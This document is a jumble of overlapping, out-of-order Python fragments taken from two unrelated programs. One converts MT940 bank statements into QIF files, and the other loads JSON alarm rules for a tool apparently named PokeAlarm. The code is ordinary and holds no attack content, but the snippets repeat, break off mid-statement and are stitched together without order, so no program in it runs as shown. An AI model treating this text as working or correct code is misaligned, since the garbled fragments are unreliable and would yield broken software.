"to payee and memo and write the transaction to QIF if num ==",
"in a field number 'num' and its corresponding 'field' for match in re.finditer(field_pat,record):",
".format(fn, start_balance, total_amount, end_balance)) total_amount = D('0') fn = '' # open a",
"re.finditer(record_pat, text): # add token ':99:' to the end of the record to",
"val61_pat = re.compile(r'(?P<valuta>\\d{6})(?P<date>\\d{4})(?P<sign>\\D)' r'(?P<amount>\\d+[,.]\\d*)(?P<code>\\w{4})(?P<reference>\\w+$)') for match in re.finditer(record_pat, text): # add token ':99:'",
"print('please provide a valid MT940 file') exit() text = open(argf).read().splitlines() text = ''.join(text)",
"than one transaction # is possible within a record record_pat = re.compile(r'(?P<record>:\\d\\d.??:.*?(?=-ABN))') #",
"payee, memo = ParseMT940.code86(field, bank_account, date, amount) total_amount += D(amount) ParseMT940.write_qif_record (qif_file, date,",
"text = ''.join(text) +'-ABN' payee = '' memo = '' total_amount = D('0')",
"new_bank_flag = True fn = argf.rsplit('.',1)[0] # make the file name the same",
"#!/usr/bin/env python import re import sys import decimal from mt940m_v2 import ParseMT940 D",
"last record is captured if len(sys.argv)== 2: argf = sys.argv[1] else: print('please provide",
"is assumed to be before field 61. if num == '25': # close",
"decimal from mt940m_v2 import ParseMT940 D = decimal.Decimal # read and concatenate entire",
"f61_dict = f61.groupdict() # in case field number is '86' handle to payee",
"record_pat = re.compile(r'(?P<record>:\\d\\d.??:.*?(?=-ABN))') # field_pat: pattern to seperate the fields in the MT940",
"#find the start_balance for a new bank account in field 60 if num",
"to seperate the fields in the MT940 file :num :field field_pat = re.compile(r':(?P<num>\\d\\d).??:(?P<field>.*?(?=:\\d\\d.??:))')",
"sure the last record is captured if len(sys.argv)== 2: argf = sys.argv[1] else:",
"provide a valid MT940 file') exit() text = open(argf).read().splitlines() text = ''.join(text) +'-ABN'",
"field is also captured record = match.group('record') +':99:' # parse the string in",
"if field != bank_account and bank_account != '': qif_file.close() end_balance = start_balance +",
":field field_pat = re.compile(r':(?P<num>\\d\\d).??:(?P<field>.*?(?=:\\d\\d.??:))') # val61_pat: pattern to seperate the values in field",
"new qif file using # the name of the bank account found in",
"instance if field != bank_account and bank_account != '': qif_file.close() end_balance = start_balance",
"{:.2f} / transfers: {:.2f} / end balance: {:.2f}'.format(fn, start_balance, total_amount, end_balance)) else: print('this",
"field number is equal to '25' check if it is a new bank_account.",
"in field '25'. Field 25 is assumed to be before field 61. if",
"mt940m_v2 import ParseMT940 D = decimal.Decimal # read and concatenate entire MT940 contents",
"# in case field number is '61' handle the transaction using the information",
"86 if num == '61': f61 = re.match(val61_pat, field) f61_dict = f61.groupdict() #",
"field 61 and subsequent 86 if num == '61': f61 = re.match(val61_pat, field)",
"qif_file if fn !='': qif_file.close() end_balance = start_balance + total_amount print ('{}: start",
"= f61.groupdict() # in case field number is '86' handle to payee and",
"!='': qif_file.close() end_balance = start_balance + total_amount print ('{}: start balance: {:.2f} /",
"import re import sys import decimal from mt940m_v2 import ParseMT940 D = decimal.Decimal",
"the last qif_file if fn !='': qif_file.close() end_balance = start_balance + total_amount print",
"is possible within a record record_pat = re.compile(r'(?P<record>:\\d\\d.??:.*?(?=-ABN))') # field_pat: pattern to seperate",
"number is equal to '25' check if it is a new bank_account. If",
"# the name of the bank account found in field '25'. Field 25",
"f61.groupdict() # in case field number is '86' handle to payee and memo",
"memo) # on finishing the program close the last qif_file if fn !='':",
":amount :code :reference val61_pat = re.compile(r'(?P<valuta>\\d{6})(?P<date>\\d{4})(?P<sign>\\D)' r'(?P<amount>\\d+[,.]\\d*)(?P<code>\\w{4})(?P<reference>\\w+$)') for match in re.finditer(record_pat, text): #",
"encountered if field != bank_account: bank_account = field new_bank_flag = True fn =",
"/ end balance: {:.2f}' \\ .format(fn, start_balance, total_amount, end_balance)) total_amount = D('0') fn",
"add '-ABN' to make sure the last record is captured if len(sys.argv)== 2:",
"memo = '' total_amount = D('0') bank_account = '' fn = '' #",
"MT940 file :num :field field_pat = re.compile(r':(?P<num>\\d\\d).??:(?P<field>.*?(?=:\\d\\d.??:))') # val61_pat: pattern to seperate the",
"case field number is '61' handle the transaction using the information in field",
"if field != bank_account: bank_account = field new_bank_flag = True fn = argf.rsplit('.',1)[0]",
"pattern to seperate the values in field 61 #:valuta (date) :date (transaction date",
"MT940 file') exit() text = open(argf).read().splitlines() text = ''.join(text) +'-ABN' payee = ''",
"is a new bank_account. If new make new qif file using # the",
"found in field '25'. Field 25 is assumed to be before field 61.",
"argf = sys.argv[1] else: print('please provide a valid MT940 file') exit() text =",
"'25'. Field 25 is assumed to be before field 61. if num ==",
"end_balance = start_balance + total_amount print ('{}: start balance: {:.2f} / transfers: {:.2f}",
"and memo and write the transaction to QIF if num == '86': date",
"'60' and new_bank_flag: m=re.search(r'(\\D)\\d{6}.*?(?=[\\d])(.*$)',field) start_balance=D(ParseMT940.conv_amount_str(m.group(1),m.group(2))) new_bank_flag = False # in case field number",
"to be before field 61. if num == '25': # close the qif",
"fields in the MT940 file :num :field field_pat = re.compile(r':(?P<num>\\d\\d).??:(?P<field>.*?(?=:\\d\\d.??:))') # val61_pat: pattern",
"= '' # open a new qif file if a new bank account",
"{:.2f} / end balance: {:.2f}'.format(fn, start_balance, total_amount, end_balance)) else: print('this is not a",
"for a new bank account in field 60 if num == '60' and",
"the MT940 file :num :field field_pat = re.compile(r':(?P<num>\\d\\d).??:(?P<field>.*?(?=:\\d\\d.??:))') # val61_pat: pattern to seperate",
"field number is '86' handle to payee and memo and write the transaction",
"total_amount += D(amount) ParseMT940.write_qif_record (qif_file, date, amount, payee, memo) # on finishing the",
"'' # open a new qif file if a new bank account is",
"qif file if this is not the first instance if field != bank_account",
"'': qif_file.close() end_balance = start_balance + total_amount print ('{}: start balance: {:.2f} /",
"is '61' handle the transaction using the information in field 61 and subsequent",
"f61_dict['date']) amount = ParseMT940.conv_amount_str(f61_dict['sign'], f61_dict['amount']) payee, memo = ParseMT940.code86(field, bank_account, date, amount) total_amount",
"changes fn = fn + '_' + bank_account +'.qif' qif_file = open(fn,'w') qif_file.write('!Type:Bank\\n')",
"the record to make sure the last field is also captured record =",
"f61_dict['amount']) payee, memo = ParseMT940.code86(field, bank_account, date, amount) total_amount += D(amount) ParseMT940.write_qif_record (qif_file,",
"field_pat: pattern to seperate the fields in the MT940 file :num :field field_pat",
"re.compile(r'(?P<record>:\\d\\d.??:.*?(?=-ABN))') # field_pat: pattern to seperate the fields in the MT940 file :num",
"# open a new qif file if a new bank account is encountered",
"61 #:valuta (date) :date (transaction date and used for date) :sign :amount :code",
"new bank account in field 60 if num == '60' and new_bank_flag: m=re.search(r'(\\D)\\d{6}.*?(?=[\\d])(.*$)',field)",
"payee, memo) # on finishing the program close the last qif_file if fn",
"balance: {:.2f} / transfers: {:.2f} / end balance: {:.2f}'.format(fn, start_balance, total_amount, end_balance)) else:",
"#:valuta (date) :date (transaction date and used for date) :sign :amount :code :reference",
"end_balance)) total_amount = D('0') fn = '' # open a new qif file",
"'86': date = ParseMT940.transaction_date_conversion(f61_dict['valuta'], f61_dict['date']) amount = ParseMT940.conv_amount_str(f61_dict['sign'], f61_dict['amount']) payee, memo = ParseMT940.code86(field,",
"in re.finditer(record_pat, text): # add token ':99:' to the end of the record",
"number is '86' handle to payee and memo and write the transaction to",
"if this is not the first instance if field != bank_account and bank_account",
"start_balance + total_amount print ('{}: start balance: {:.2f} / transfers: {:.2f} / end",
"= decimal.Decimal # read and concatenate entire MT940 contents and add '-ABN' to",
"captured record = match.group('record') +':99:' # parse the string in a field number",
"transaction # is possible within a record record_pat = re.compile(r'(?P<record>:\\d\\d.??:.*?(?=-ABN))') # field_pat: pattern",
"':99:' to the end of the record to make sure the last field",
"date = ParseMT940.transaction_date_conversion(f61_dict['valuta'], f61_dict['date']) amount = ParseMT940.conv_amount_str(f61_dict['sign'], f61_dict['amount']) payee, memo = ParseMT940.code86(field, bank_account,",
"ParseMT940 D = decimal.Decimal # read and concatenate entire MT940 contents and add",
"open(argf).read().splitlines() text = ''.join(text) +'-ABN' payee = '' memo = '' total_amount =",
"re import sys import decimal from mt940m_v2 import ParseMT940 D = decimal.Decimal #",
"qif_file.write('!Type:Bank\\n') #find the start_balance for a new bank account in field 60 if",
"start_balance, total_amount, end_balance)) total_amount = D('0') fn = '' # open a new",
"MT940 contents and add '-ABN' to make sure the last record is captured",
"memo = ParseMT940.code86(field, bank_account, date, amount) total_amount += D(amount) ParseMT940.write_qif_record (qif_file, date, amount,",
"text = open(argf).read().splitlines() text = ''.join(text) +'-ABN' payee = '' memo = ''",
"'' fn = '' # record: pattern to determine a MT940 record group,",
"subsequent 86 if num == '61': f61 = re.match(val61_pat, field) f61_dict = f61.groupdict()",
"# on finishing the program close the last qif_file if fn !='': qif_file.close()",
"entire MT940 contents and add '-ABN' to make sure the last record is",
"equal to '25' check if it is a new bank_account. If new make",
"= re.compile(r':(?P<num>\\d\\d).??:(?P<field>.*?(?=:\\d\\d.??:))') # val61_pat: pattern to seperate the values in field 61 #:valuta",
"field number 'num' and its corresponding 'field' for match in re.finditer(field_pat,record): num =",
"= open(argf).read().splitlines() text = ''.join(text) +'-ABN' payee = '' memo = '' total_amount",
"for match in re.finditer(record_pat, text): # add token ':99:' to the end of",
"account in field 60 if num == '60' and new_bank_flag: m=re.search(r'(\\D)\\d{6}.*?(?=[\\d])(.*$)',field) start_balance=D(ParseMT940.conv_amount_str(m.group(1),m.group(2))) new_bank_flag",
"bank_account = '' fn = '' # record: pattern to determine a MT940",
"is captured if len(sys.argv)== 2: argf = sys.argv[1] else: print('please provide a valid",
"r'(?P<amount>\\d+[,.]\\d*)(?P<code>\\w{4})(?P<reference>\\w+$)') for match in re.finditer(record_pat, text): # add token ':99:' to the end",
"field 61. if num == '25': # close the qif file if this",
"= re.compile(r'(?P<record>:\\d\\d.??:.*?(?=-ABN))') # field_pat: pattern to seperate the fields in the MT940 file",
"is also captured record = match.group('record') +':99:' # parse the string in a",
"and bank_account != '': qif_file.close() end_balance = start_balance + total_amount print ('{}: start",
"used for date) :sign :amount :code :reference val61_pat = re.compile(r'(?P<valuta>\\d{6})(?P<date>\\d{4})(?P<sign>\\D)' r'(?P<amount>\\d+[,.]\\d*)(?P<code>\\w{4})(?P<reference>\\w+$)') for match",
"the first instance if field != bank_account and bank_account != '': qif_file.close() end_balance",
"make the file name the same as the 1st argument + some changes",
"it is a new bank_account. If new make new qif file using #",
"transfers: {:.2f} / end balance: {:.2f}'.format(fn, start_balance, total_amount, end_balance)) else: print('this is not",
"== '25': # close the qif file if this is not the first",
"= '' total_amount = D('0') bank_account = '' fn = '' # record:",
"is not the first instance if field != bank_account and bank_account != '':",
"new make new qif file using # the name of the bank account",
"1st argument + some changes fn = fn + '_' + bank_account +'.qif'",
"name the same as the 1st argument + some changes fn = fn",
"in case field number is '86' handle to payee and memo and write",
"total_amount, end_balance)) total_amount = D('0') fn = '' # open a new qif",
"in re.finditer(field_pat,record): num = match.group('num') field = match.group('field') # in case field number",
"# add token ':99:' to the end of the record to make sure",
"fn = '' # record: pattern to determine a MT940 record group, note",
"qif file if a new bank account is encountered if field != bank_account:",
"\\ .format(fn, start_balance, total_amount, end_balance)) total_amount = D('0') fn = '' # open",
"on finishing the program close the last qif_file if fn !='': qif_file.close() end_balance",
"num = match.group('num') field = match.group('field') # in case field number is equal",
"a new qif file if a new bank account is encountered if field",
"== '60' and new_bank_flag: m=re.search(r'(\\D)\\d{6}.*?(?=[\\d])(.*$)',field) start_balance=D(ParseMT940.conv_amount_str(m.group(1),m.group(2))) new_bank_flag = False # in case field",
"= re.compile(r'(?P<valuta>\\d{6})(?P<date>\\d{4})(?P<sign>\\D)' r'(?P<amount>\\d+[,.]\\d*)(?P<code>\\w{4})(?P<reference>\\w+$)') for match in re.finditer(record_pat, text): # add token ':99:' to",
"be before field 61. if num == '25': # close the qif file",
"finishing the program close the last qif_file if fn !='': qif_file.close() end_balance =",
"record is captured if len(sys.argv)== 2: argf = sys.argv[1] else: print('please provide a",
"start_balance=D(ParseMT940.conv_amount_str(m.group(1),m.group(2))) new_bank_flag = False # in case field number is '61' handle the",
"exit() text = open(argf).read().splitlines() text = ''.join(text) +'-ABN' payee = '' memo =",
"else: print('please provide a valid MT940 file') exit() text = open(argf).read().splitlines() text =",
"= match.group('record') +':99:' # parse the string in a field number 'num' and",
"contents and add '-ABN' to make sure the last record is captured if",
"field 60 if num == '60' and new_bank_flag: m=re.search(r'(\\D)\\d{6}.*?(?=[\\d])(.*$)',field) start_balance=D(ParseMT940.conv_amount_str(m.group(1),m.group(2))) new_bank_flag = False",
"the last record is captured if len(sys.argv)== 2: argf = sys.argv[1] else: print('please",
"# record: pattern to determine a MT940 record group, note more than one",
"(qif_file, date, amount, payee, memo) # on finishing the program close the last",
"assumed to be before field 61. if num == '25': # close the",
"D(amount) ParseMT940.write_qif_record (qif_file, date, amount, payee, memo) # on finishing the program close",
"one transaction # is possible within a record record_pat = re.compile(r'(?P<record>:\\d\\d.??:.*?(?=-ABN))') # field_pat:",
"the bank account found in field '25'. Field 25 is assumed to be",
"same as the 1st argument + some changes fn = fn + '_'",
"case field number is '86' handle to payee and memo and write the",
"decimal.Decimal # read and concatenate entire MT940 contents and add '-ABN' to make",
"open(fn,'w') qif_file.write('!Type:Bank\\n') #find the start_balance for a new bank account in field 60",
"= '' memo = '' total_amount = D('0') bank_account = '' fn =",
"record group, note more than one transaction # is possible within a record",
"match in re.finditer(field_pat,record): num = match.group('num') field = match.group('field') # in case field",
"/ end balance: {:.2f}'.format(fn, start_balance, total_amount, end_balance)) else: print('this is not a valid",
"field != bank_account and bank_account != '': qif_file.close() end_balance = start_balance + total_amount",
"not the first instance if field != bank_account and bank_account != '': qif_file.close()",
"to QIF if num == '86': date = ParseMT940.transaction_date_conversion(f61_dict['valuta'], f61_dict['date']) amount = ParseMT940.conv_amount_str(f61_dict['sign'],",
"group, note more than one transaction # is possible within a record record_pat",
"f61 = re.match(val61_pat, field) f61_dict = f61.groupdict() # in case field number is"
] |
[
"rules.pop('monsters', {})) load_rules_section(manager.add_egg_rule, rules.pop('eggs', {})) load_rules_section(manager.add_raid_rule, rules.pop('raids', {})) for key in rules: raise",
"import json import sys from collections import OrderedDict from .Utilities.GenUtils import get_path log",
"e: log.error(\"Encountered error while loading Rules: {}: {}\".format( type(e).__name__, e)) log.error( \"PokeAlarm has",
"load_rules_section(manager.add_egg_rule, rules.pop('eggs', {})) load_rules_section(manager.add_raid_rule, rules.pop('raids', {})) for key in rules: raise ValueError(( \"Unknown",
"a JSON object: { \\\"monsters\\\":[...],... }\" ) raise ValueError(\"Rules file did not contain",
"log.error(\"Encountered error while loading Rules: {}: {}\".format( type(e).__name__, e)) log.error( \"PokeAlarm has encountered",
"loading the \" + \"Rules file. This typically means the file isn't in",
"rule is missing a `filters` section.\".format( name)) if 'alarms' not in settings: raise",
"is missing an `alarms` section.\".format( name)) filters = settings.pop('filters') alarms = settings.pop('alarms') set_rule(name,",
"log = logging.getLogger('LoadConfig') def parse_rules_file(manager, filename): if str(filename).lower() == 'none': return filepath =",
"the file contents into a \" + \"json validator.\" ) sys.exit(1) try: load_rules_section(manager.add_monster_rule,",
"type(e).__name__, e)) log.error( \"PokeAlarm has encountered a 'ValueError' while loading the \" +",
"def parse_rules_file(manager, filename): if str(filename).lower() == 'none': return filepath = get_path(filename) rules =",
"parse_rules_file(manager, filename): if str(filename).lower() == 'none': return filepath = get_path(filename) rules = OrderedDict()",
"filters, alarms) if len(settings) > 0: raise ValueError(\"Rule {} has unknown parameters: {}\".format(",
"in rules.json.example.\" ).format(key)) except Exception as e: log.error( \"Encountered error while parsing Rules.",
"rules: raise ValueError(( \"Unknown Event type '{}'. Rules must be defined under the",
"= settings.pop('alarms') set_rule(name, filters, alarms) if len(settings) > 0: raise ValueError(\"Rule {} has",
"for name, settings in rules.items(): if 'filters' not in settings: raise ValueError(\"{} rule",
"+ \"json validator.\" ) sys.exit(1) try: load_rules_section(manager.add_monster_rule, rules.pop('monsters', {})) load_rules_section(manager.add_egg_rule, rules.pop('eggs', {})) load_rules_section(manager.add_raid_rule,",
"object_pairs_hook=OrderedDict) if type(rules) is not OrderedDict: log.critical( \"Rules files must be a JSON",
"in the \" + \"correct json format. Try loading the file contents into",
"logging.getLogger('LoadConfig') def parse_rules_file(manager, filename): if str(filename).lower() == 'none': return filepath = get_path(filename) rules",
"+ \"correct json format. Try loading the file contents into a \" +",
"\"Unknown Event type '{}'. Rules must be defined under the \" + \"correct",
"encountered a 'ValueError' while loading the \" + \"Rules file. This typically means",
"Rules must be defined under the \" + \"correct event type. See example",
"if 'filters' not in settings: raise ValueError(\"{} rule is missing a `filters` section.\".format(",
"is missing a `filters` section.\".format( name)) if 'alarms' not in settings: raise ValueError(\"{}",
"missing an `alarms` section.\".format( name)) filters = settings.pop('filters') alarms = settings.pop('alarms') set_rule(name, filters,",
"json format. Try loading the file contents into a \" + \"json validator.\"",
"\"Encountered error while parsing Rules. This is because of a \" + \"mistake",
"e)) sys.exit(1) def load_rules_section(set_rule, rules): for name, settings in rules.items(): if 'filters' not",
"be defined under the \" + \"correct event type. See example in rules.json.example.\"",
"in settings: raise ValueError(\"{} rule is missing an `alarms` section.\".format( name)) filters =",
"a `filters` section.\".format( name)) if 'alarms' not in settings: raise ValueError(\"{} rule is",
"OrderedDict from .Utilities.GenUtils import get_path log = logging.getLogger('LoadConfig') def parse_rules_file(manager, filename): if str(filename).lower()",
"did not contain a dict.\") except ValueError as e: log.error(\"Encountered error while loading",
"if str(filename).lower() == 'none': return filepath = get_path(filename) rules = OrderedDict() try: log.info(\"Loading",
"'filters' not in settings: raise ValueError(\"{} rule is missing a `filters` section.\".format( name))",
"is because of a \" + \"mistake in your Rules file.\" ) log.error(\"{}:",
"file at {}\".format(filepath)) with open(filepath, 'r') as f: rules = json.load(f, object_pairs_hook=OrderedDict) if",
"raise ValueError(\"{} rule is missing a `filters` section.\".format( name)) if 'alarms' not in",
"open(filepath, 'r') as f: rules = json.load(f, object_pairs_hook=OrderedDict) if type(rules) is not OrderedDict:",
"in rules.items(): if 'filters' not in settings: raise ValueError(\"{} rule is missing a",
"= get_path(filename) rules = OrderedDict() try: log.info(\"Loading Rules from file at {}\".format(filepath)) with",
"as e: log.error( \"Encountered error while parsing Rules. This is because of a",
"log.error( \"Encountered error while parsing Rules. This is because of a \" +",
"Rules. This is because of a \" + \"mistake in your Rules file.\"",
"Rules file.\" ) log.error(\"{}: {}\".format(type(e).__name__, e)) sys.exit(1) def load_rules_section(set_rule, rules): for name, settings",
"contents into a \" + \"json validator.\" ) sys.exit(1) try: load_rules_section(manager.add_monster_rule, rules.pop('monsters', {}))",
"sys.exit(1) try: load_rules_section(manager.add_monster_rule, rules.pop('monsters', {})) load_rules_section(manager.add_egg_rule, rules.pop('eggs', {})) load_rules_section(manager.add_raid_rule, rules.pop('raids', {})) for key",
"key in rules: raise ValueError(( \"Unknown Event type '{}'. Rules must be defined",
"'none': return filepath = get_path(filename) rules = OrderedDict() try: log.info(\"Loading Rules from file",
"type '{}'. Rules must be defined under the \" + \"correct event type.",
"settings.pop('alarms') set_rule(name, filters, alarms) if len(settings) > 0: raise ValueError(\"Rule {} has unknown",
"the file isn't in the \" + \"correct json format. Try loading the",
"alarms = settings.pop('alarms') set_rule(name, filters, alarms) if len(settings) > 0: raise ValueError(\"Rule {}",
"not in settings: raise ValueError(\"{} rule is missing an `alarms` section.\".format( name)) filters",
"not OrderedDict: log.critical( \"Rules files must be a JSON object: { \\\"monsters\\\":[...],... }\"",
"f: rules = json.load(f, object_pairs_hook=OrderedDict) if type(rules) is not OrderedDict: log.critical( \"Rules files",
"not contain a dict.\") except ValueError as e: log.error(\"Encountered error while loading Rules:",
"error while loading Rules: {}: {}\".format( type(e).__name__, e)) log.error( \"PokeAlarm has encountered a",
"while loading Rules: {}: {}\".format( type(e).__name__, e)) log.error( \"PokeAlarm has encountered a 'ValueError'",
"`alarms` section.\".format( name)) filters = settings.pop('filters') alarms = settings.pop('alarms') set_rule(name, filters, alarms) if",
"}\" ) raise ValueError(\"Rules file did not contain a dict.\") except ValueError as",
"file isn't in the \" + \"correct json format. Try loading the file",
"settings: raise ValueError(\"{} rule is missing an `alarms` section.\".format( name)) filters = settings.pop('filters')",
"{}\".format(filepath)) with open(filepath, 'r') as f: rules = json.load(f, object_pairs_hook=OrderedDict) if type(rules) is",
"= logging.getLogger('LoadConfig') def parse_rules_file(manager, filename): if str(filename).lower() == 'none': return filepath = get_path(filename)",
"dict.\") except ValueError as e: log.error(\"Encountered error while loading Rules: {}: {}\".format( type(e).__name__,",
"{ \\\"monsters\\\":[...],... }\" ) raise ValueError(\"Rules file did not contain a dict.\") except",
"file did not contain a dict.\") except ValueError as e: log.error(\"Encountered error while",
"a 'ValueError' while loading the \" + \"Rules file. This typically means the",
"from .Utilities.GenUtils import get_path log = logging.getLogger('LoadConfig') def parse_rules_file(manager, filename): if str(filename).lower() ==",
"log.error(\"{}: {}\".format(type(e).__name__, e)) sys.exit(1) def load_rules_section(set_rule, rules): for name, settings in rules.items(): if",
"\"correct json format. Try loading the file contents into a \" + \"json",
"name)) filters = settings.pop('filters') alarms = settings.pop('alarms') set_rule(name, filters, alarms) if len(settings) >",
"rules = json.load(f, object_pairs_hook=OrderedDict) if type(rules) is not OrderedDict: log.critical( \"Rules files must",
"ValueError(\"{} rule is missing a `filters` section.\".format( name)) if 'alarms' not in settings:",
"get_path log = logging.getLogger('LoadConfig') def parse_rules_file(manager, filename): if str(filename).lower() == 'none': return filepath",
"`filters` section.\".format( name)) if 'alarms' not in settings: raise ValueError(\"{} rule is missing",
"\"mistake in your Rules file.\" ) log.error(\"{}: {}\".format(type(e).__name__, e)) sys.exit(1) def load_rules_section(set_rule, rules):",
") raise ValueError(\"Rules file did not contain a dict.\") except ValueError as e:",
"try: log.info(\"Loading Rules from file at {}\".format(filepath)) with open(filepath, 'r') as f: rules",
"rules): for name, settings in rules.items(): if 'filters' not in settings: raise ValueError(\"{}",
"str(filename).lower() == 'none': return filepath = get_path(filename) rules = OrderedDict() try: log.info(\"Loading Rules",
"a \" + \"json validator.\" ) sys.exit(1) try: load_rules_section(manager.add_monster_rule, rules.pop('monsters', {})) load_rules_section(manager.add_egg_rule, rules.pop('eggs',",
"for key in rules: raise ValueError(( \"Unknown Event type '{}'. Rules must be",
"has encountered a 'ValueError' while loading the \" + \"Rules file. This typically",
"Try loading the file contents into a \" + \"json validator.\" ) sys.exit(1)",
"rules.pop('raids', {})) for key in rules: raise ValueError(( \"Unknown Event type '{}'. Rules",
"a \" + \"mistake in your Rules file.\" ) log.error(\"{}: {}\".format(type(e).__name__, e)) sys.exit(1)",
"typically means the file isn't in the \" + \"correct json format. Try",
"'r') as f: rules = json.load(f, object_pairs_hook=OrderedDict) if type(rules) is not OrderedDict: log.critical(",
"from collections import OrderedDict from .Utilities.GenUtils import get_path log = logging.getLogger('LoadConfig') def parse_rules_file(manager,",
"get_path(filename) rules = OrderedDict() try: log.info(\"Loading Rules from file at {}\".format(filepath)) with open(filepath,",
"\"PokeAlarm has encountered a 'ValueError' while loading the \" + \"Rules file. This",
"section.\".format( name)) filters = settings.pop('filters') alarms = settings.pop('alarms') set_rule(name, filters, alarms) if len(settings)",
"e)) log.error( \"PokeAlarm has encountered a 'ValueError' while loading the \" + \"Rules",
"type. See example in rules.json.example.\" ).format(key)) except Exception as e: log.error( \"Encountered error",
"of a \" + \"mistake in your Rules file.\" ) log.error(\"{}: {}\".format(type(e).__name__, e))",
"must be defined under the \" + \"correct event type. See example in",
"json.load(f, object_pairs_hook=OrderedDict) if type(rules) is not OrderedDict: log.critical( \"Rules files must be a",
"missing a `filters` section.\".format( name)) if 'alarms' not in settings: raise ValueError(\"{} rule",
"rules = OrderedDict() try: log.info(\"Loading Rules from file at {}\".format(filepath)) with open(filepath, 'r')",
"except ValueError as e: log.error(\"Encountered error while loading Rules: {}: {}\".format( type(e).__name__, e))",
"validator.\" ) sys.exit(1) try: load_rules_section(manager.add_monster_rule, rules.pop('monsters', {})) load_rules_section(manager.add_egg_rule, rules.pop('eggs', {})) load_rules_section(manager.add_raid_rule, rules.pop('raids', {}))",
"Rules: {}: {}\".format( type(e).__name__, e)) log.error( \"PokeAlarm has encountered a 'ValueError' while loading",
"rules.items(): if 'filters' not in settings: raise ValueError(\"{} rule is missing a `filters`",
"object: { \\\"monsters\\\":[...],... }\" ) raise ValueError(\"Rules file did not contain a dict.\")",
"+ \"mistake in your Rules file.\" ) log.error(\"{}: {}\".format(type(e).__name__, e)) sys.exit(1) def load_rules_section(set_rule,",
"= OrderedDict() try: log.info(\"Loading Rules from file at {}\".format(filepath)) with open(filepath, 'r') as",
"{})) for key in rules: raise ValueError(( \"Unknown Event type '{}'. Rules must",
"+ \"correct event type. See example in rules.json.example.\" ).format(key)) except Exception as e:",
"import OrderedDict from .Utilities.GenUtils import get_path log = logging.getLogger('LoadConfig') def parse_rules_file(manager, filename): if",
"This is because of a \" + \"mistake in your Rules file.\" )",
"This typically means the file isn't in the \" + \"correct json format.",
"format. Try loading the file contents into a \" + \"json validator.\" )",
").format(key)) except Exception as e: log.error( \"Encountered error while parsing Rules. This is",
"in your Rules file.\" ) log.error(\"{}: {}\".format(type(e).__name__, e)) sys.exit(1) def load_rules_section(set_rule, rules): for",
"\"json validator.\" ) sys.exit(1) try: load_rules_section(manager.add_monster_rule, rules.pop('monsters', {})) load_rules_section(manager.add_egg_rule, rules.pop('eggs', {})) load_rules_section(manager.add_raid_rule, rules.pop('raids',",
"== 'none': return filepath = get_path(filename) rules = OrderedDict() try: log.info(\"Loading Rules from",
"settings.pop('filters') alarms = settings.pop('alarms') set_rule(name, filters, alarms) if len(settings) > 0: raise ValueError(\"Rule",
"ValueError as e: log.error(\"Encountered error while loading Rules: {}: {}\".format( type(e).__name__, e)) log.error(",
"{}\".format( type(e).__name__, e)) log.error( \"PokeAlarm has encountered a 'ValueError' while loading the \"",
"file. This typically means the file isn't in the \" + \"correct json",
"raise ValueError(\"Rules file did not contain a dict.\") except ValueError as e: log.error(\"Encountered",
"try: load_rules_section(manager.add_monster_rule, rules.pop('monsters', {})) load_rules_section(manager.add_egg_rule, rules.pop('eggs', {})) load_rules_section(manager.add_raid_rule, rules.pop('raids', {})) for key in",
"\" + \"mistake in your Rules file.\" ) log.error(\"{}: {}\".format(type(e).__name__, e)) sys.exit(1) def",
"file.\" ) log.error(\"{}: {}\".format(type(e).__name__, e)) sys.exit(1) def load_rules_section(set_rule, rules): for name, settings in",
"alarms) if len(settings) > 0: raise ValueError(\"Rule {} has unknown parameters: {}\".format( name,",
"loading the file contents into a \" + \"json validator.\" ) sys.exit(1) try:",
"with open(filepath, 'r') as f: rules = json.load(f, object_pairs_hook=OrderedDict) if type(rules) is not",
"defined under the \" + \"correct event type. See example in rules.json.example.\" ).format(key))",
"\" + \"Rules file. This typically means the file isn't in the \"",
"{})) load_rules_section(manager.add_raid_rule, rules.pop('raids', {})) for key in rules: raise ValueError(( \"Unknown Event type",
") log.error(\"{}: {}\".format(type(e).__name__, e)) sys.exit(1) def load_rules_section(set_rule, rules): for name, settings in rules.items():",
"in settings: raise ValueError(\"{} rule is missing a `filters` section.\".format( name)) if 'alarms'",
") sys.exit(1) try: load_rules_section(manager.add_monster_rule, rules.pop('monsters', {})) load_rules_section(manager.add_egg_rule, rules.pop('eggs', {})) load_rules_section(manager.add_raid_rule, rules.pop('raids', {})) for",
"load_rules_section(set_rule, rules): for name, settings in rules.items(): if 'filters' not in settings: raise",
"\"correct event type. See example in rules.json.example.\" ).format(key)) except Exception as e: log.error(",
".Utilities.GenUtils import get_path log = logging.getLogger('LoadConfig') def parse_rules_file(manager, filename): if str(filename).lower() == 'none':",
"as e: log.error(\"Encountered error while loading Rules: {}: {}\".format( type(e).__name__, e)) log.error( \"PokeAlarm",
"set_rule(name, filters, alarms) if len(settings) > 0: raise ValueError(\"Rule {} has unknown parameters:",
"file contents into a \" + \"json validator.\" ) sys.exit(1) try: load_rules_section(manager.add_monster_rule, rules.pop('monsters',",
"while loading the \" + \"Rules file. This typically means the file isn't",
"as f: rules = json.load(f, object_pairs_hook=OrderedDict) if type(rules) is not OrderedDict: log.critical( \"Rules",
"import get_path log = logging.getLogger('LoadConfig') def parse_rules_file(manager, filename): if str(filename).lower() == 'none': return",
"import sys from collections import OrderedDict from .Utilities.GenUtils import get_path log = logging.getLogger('LoadConfig')",
"= json.load(f, object_pairs_hook=OrderedDict) if type(rules) is not OrderedDict: log.critical( \"Rules files must be",
"json import sys from collections import OrderedDict from .Utilities.GenUtils import get_path log =",
"example in rules.json.example.\" ).format(key)) except Exception as e: log.error( \"Encountered error while parsing",
"parsing Rules. This is because of a \" + \"mistake in your Rules",
"name, settings in rules.items(): if 'filters' not in settings: raise ValueError(\"{} rule is",
"filters = settings.pop('filters') alarms = settings.pop('alarms') set_rule(name, filters, alarms) if len(settings) > 0:",
"filepath = get_path(filename) rules = OrderedDict() try: log.info(\"Loading Rules from file at {}\".format(filepath))",
"\" + \"correct json format. Try loading the file contents into a \"",
"sys.exit(1) def load_rules_section(set_rule, rules): for name, settings in rules.items(): if 'filters' not in",
"filename): if str(filename).lower() == 'none': return filepath = get_path(filename) rules = OrderedDict() try:",
"return filepath = get_path(filename) rules = OrderedDict() try: log.info(\"Loading Rules from file at",
"import logging import json import sys from collections import OrderedDict from .Utilities.GenUtils import",
"the \" + \"Rules file. This typically means the file isn't in the",
"while parsing Rules. This is because of a \" + \"mistake in your",
"if len(settings) > 0: raise ValueError(\"Rule {} has unknown parameters: {}\".format( name, settings))",
"<filename>PokeBot/Load.py import logging import json import sys from collections import OrderedDict from .Utilities.GenUtils",
